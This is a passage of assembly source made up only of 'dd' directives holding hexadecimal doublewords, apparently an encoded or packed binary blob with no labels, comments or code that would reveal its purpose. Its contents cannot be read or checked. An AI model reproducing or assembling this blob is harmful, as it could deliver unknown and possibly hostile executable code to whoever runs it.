		dd 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h,	0CB0126C3h
		dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh
		dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h
		dd 5ABC3Eh, 0C031B244h,	154C966h, 428F1E50h, 0DD105180h
		dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh
		dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh
		dd 3E1831Dh, 18A4D207h,	0E177431h, 7C3AFC30h, 1950000Fh
		dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
		dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
		dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
		dd 4FE255Fh, 1B1CC7FAh,	88508043h, 62070414h, 84135640h
		dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h
		dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h,	800EE25h
		dd 0C2F81CCBh, 788977h,	681E34E0h, 2C0B055Dh, 92148D03h
		dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh,	3513F300h
		dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh
		dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h,	0B7E00F67h
		dd 6BF04500h, 3663CC0h,	0D2F23EEEh, 40401E9Ch, 1F4558Bh
		dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh
		dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh,	5B0C001Eh
		dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h,	1CA959h
		dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h
		dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h
		dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h
		dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h
		dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h
		dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h,	0D606EBE2h
		dd 3A1672E6h, 0F0FE5Eh,	8A367403h, 750A3A08h, 54306700h
		dd 1489313h, 9F4A00D3h,	401625B6h, 83780208h, 311AB200h
		dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh,	21D64EBh
		dd 903119h, 0CD88BB51h,	10E08650h, 0CD46600h, 83184CB2h
		dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h,	8840541h
		dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh
		dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h
		dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h
		dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh
		dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h,	754B2B42h
		dd 0AD41F6h, 51B82318h,	0E9968F82h, 2F9CB300h, 0CC2CAC33h
		dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h
		dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h,	0FE78080Eh
		dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h,	623CC4Ah
		dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h
		dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h,	0F8D4E486h
		dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h
		dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh
		dd 92DF7430h, 3007261h,	5420A2CAh, 0EA0B7643h, 1F110010h
		dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh
		dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h
		dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h
		dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah
		dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh,	0BFC5C14h
		dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h
		dd 0CD290Eh, 900B1B22h,	0AC0325FFh, 338B4C79h, 6350E0DBh
		dd 50C741Ah, 1C753E07h,	701D802Ah, 91009225h, 0D41A1B0h
		dd 3F29845h, 161F4C22h,	0A09801B3h, 0F4004028h,	57037B0h
		dd 0B847604Fh, 8D736Fh,	6A6250FCh, 0F6386886h, 653A652Eh
		dd 6BE84700h, 378323Fh,	5511E04Dh, 2DA06168h, 3000FF64h
		dd 1B2089CCh, 0F445C7h,	0EE608691h, 0F808CB50h,	69C52C00h
		dd 0AC8B8954h, 34E683h,	8AEAA267h, 63C41618h, 0E0985200h
		dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh,	0C33FE283h
		dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h
		dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h
		dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh
		dd 12C3AB7h, 60D7C7ACh,	2031D470h, 0E1D8A20h, 0AE408D41h
		dd 93AECFAh, 3FE800D8h,	58C2F748h, 1BEAE913h, 0DE747703h
		dd 90751ED3h, 77BBC36h,	0DC4A76FAh, 0E8075001h,	0AE1E2D37h
		dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h
		dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h
		dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh
		dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh,	120FADAh
		dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h
		dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh
		dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h
		dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h
		dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch
		dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h,	6459550Ah
		dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h
		dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h,	0A5F0217h
		dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h,	0E1FF5Bh
		dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h
		dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh
		dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh
		dd 90C1300h, 22000E74h,	4950811Dh, 23581Eh, 47257531h
		dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h
		dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h
		dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh
		dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h,	99D99808h
		dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch,	8B547FE9h
		dd 77EA064h, 12A45300h,	0C9967C9Eh, 418900F0h, 39800103h
		dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h
		dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h
		dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh
		dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h
		dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh
		dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh
		dd 8B2507E6h, 45BC5E9h,	0CE898094h, 1A00EFFAh, 5A37740Eh
		dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h,	0C2A15051h
		dd 1365AEB3h, 0EE2439h,	0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h
		dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h
		dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h,	1B1A614Eh
		dd 0A54161E6h
		dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
		dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
		dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
		dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
		dd 4586EC8h, 26911F74h,	52B28044h, 75001801h, 0EAE90A1Ah
		dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
		dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
		dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
		dd 189093Eh, 610BE842h,	0C48C74CEh, 695CDC7Fh, 0D075002Ch
		dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
		dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h,	27482214h
		dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h,	1E5BEA30h
		dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
		dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
		dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
		dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
		dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h,	60EC7931h
		dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh,	3BCC031h
		dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
		dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
		dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
		dd 3F1FFC5h, 3854491Ch,	86E97282h, 92836048h, 0C0070020h
		dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
		dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
		dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
		dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch,	0B02C1D26h
		dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h
		dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h
		dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh
		dd 0F3942467h, 402993h,	2690F1FAh, 7074503Dh, 0CE00A27Bh
		dd 99CB9238h, 1D90836h,	72F65232h, 0EC3B8189h, 300053D0h
		dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h
		dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh
		dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h,	505B290Ah
		dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah
		dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh,	39A174FFh
		dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h
		dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh,	7E1DDB85h
		dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh
		dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh
		dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h
		dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh,	28EEB127h
		dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h,	0A790E9B9h
		dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh
		dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h
		dd 35B5A100h, 6792008h,	0C92BE803h, 880C45FAh, 1CC0A240h
		dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h
		dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh,	1132481h
		dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h
		dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h
		dd 2080EE93h, 14E1C3Ch,	124A892h, 0E832A9C8h, 0EC0E040Ch
		dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h
		dd 0F294834Bh, 383C22h,	334AE877h, 30BB354h, 0D0299200h
		dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h
		dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch
		dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h
		dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h
		dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h
		dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h
		dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh
		dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h,	0E186926h
		dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh
		dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h
		dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh
		dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah
		dd 66F0041h, 8BCBC660h,	560003C1h, 0FB6C097Bh, 7A5E0438h
		dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h
		dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h,	1CCCBAFh
		dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h
		dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh,	0F0D07C49h
		dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h
		dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h
		dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h
		dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h
		dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h
		dd 95F8375h, 10180026h,	895A081Fh, 6FF4FC97h, 1768F803h
		dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h,	0FEF9E458h
		dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh
		dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h
		dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh
		dd 40CFC90h, 55532850h,	7B40C010h, 0A90086F1h, 0D7E27B8h
		dd 0C70441h, 323ACEE9h,	0ECD93306h, 6098B57Bh, 0C5204401h
		dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h
		dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh
		dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h,	0ECE8EB01h
		dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h
		dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h
		dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah
		dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h
		dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh
		dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h,	8A2734FDh
		dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h
		dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h
		dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh,	68BC0800h
		dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h
		dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h
		dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh
		dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h
		dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h
		dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h
		dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah
		dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh
		dd 0C05857DCh, 277007Ch
		dd 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h,	2C954E89h
		dd 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h
		dd 41813800h, 34761702h, 0E3A1E18h, 0E3678410h,	0CA7DC0B8h
		dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h
		dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h
		dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h
		dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h,	80CC1EE7h
		dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h,	27C754Ah
		dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh,	6394C9h
		dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh
		dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch
		dd 430126h, 0F129227Eh,	2D9CFE9h, 3F42BC3Eh, 8DF200F9h
		dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h,	4087A900h
		dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh
		dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h
		dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h,	6A985100h
		dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh
		dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh
		dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h
		dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h
		dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h
		dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h
		dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h
		dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h,	0AAF8C910h
		dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh
		dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h
		dd 32125B3Bh, 0EC8814h,	8A532E44h, 4F3924A8h, 6113B300h
		dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h
		dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh
		dd 0E506ADA0h, 8001F4h,	7BBFF85Ch, 0A80B0ACEh, 0C1E4600h
		dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h
		dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h
		dd 0F0F35214h, 78EB19h,	30071A91h, 1DCC2C58h, 1A86A58h
		dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h,	89A0C052h
		dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h
		dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h
		dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h
		dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h,	0DA48C08Eh
		dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh,	306A2D4Bh
		dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah,	287A7E59h
		dd 5DFD6D0h, 1C2F89DBh,	41918024h, 14039BCCh, 0CE920BFAh
		dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h
		dd 9B3D09h, 0AA1DD5AEh,	5098BEE1h, 0EF335600h, 48CD832Ah
		dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh
		dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h
		dd 0BD0FDCh, 10C2731Bh,	23DE0892h, 0F77993F2h, 765E938h
		dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h
		dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah
		dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h
		dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch,	419FC15h
		dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h
		dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h
		dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h,	0FE4C8A52h
		dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h
		dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h
		dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh
		dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h,	1385150h
		dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h
		dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh
		dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h
		dd 0C0756Dh, 0C336835h,	0ACDD5634h, 1209200h, 5482ABAh
		dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h,	0E6443EAh
		dd 2FC0C08h, 9A34EB60h,	7D008F4Ah, 0D15727AAh, 3515C18h
		dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h
		dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h
		dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h
		dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch
		dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h
		dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h,	93CBE658h
		dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh
		dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h
		dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h,	0A58B7D89h
		dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h
		dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h
		dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh,	891200D9h
		dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h,	91F849h
		dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h,	47640027h
		dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h
		dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h,	0E8067525h
		dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h
		dd 7204583Bh, 8010A67h,	0C0705A4h, 0F5E0C975h, 0B0360084h
		dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h
		dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h
		dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h
		dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh
		dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h,	371C8Dh
		dd 3ADC3880h, 1780F08h,	0E0EEEDFDh, 700015D5h, 0E814025Bh
		dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh
		dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h
		dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h
		dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h
		dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh
		dd 72047E2h, 3A2CD4CFh,	0C203E056h, 4EE03D40h, 0C6487F00h
		dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h
		dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah,	6B0EC1CCh
		dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h,	6F673C70h
		dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h,	0FFEE010h
		dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh
		dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh
		dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h,	6000C7B1h
		dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h
		dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh
		dd 0C793001Eh
		dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
		dd 0F61811h, 2113BD80h,	0BEAF0A48h, 0F37D9307h,	678EF90Ch
		dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
		dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
		dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
		dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
		dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
		dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
		dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
		dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
		dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
		dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
		dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh,	553BC880h
		dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
		dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h,	2A7D3E81h
		dd 0AB15A68h, 998438Bh,	0B3E803EAh, 50727B99h, 6F0CBC00h
		dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
		dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah,	8D520C06h
		dd 4A000EBAh, 214BC22h,	2993E8h, 0E6A2D272h, 11C98E7Dh
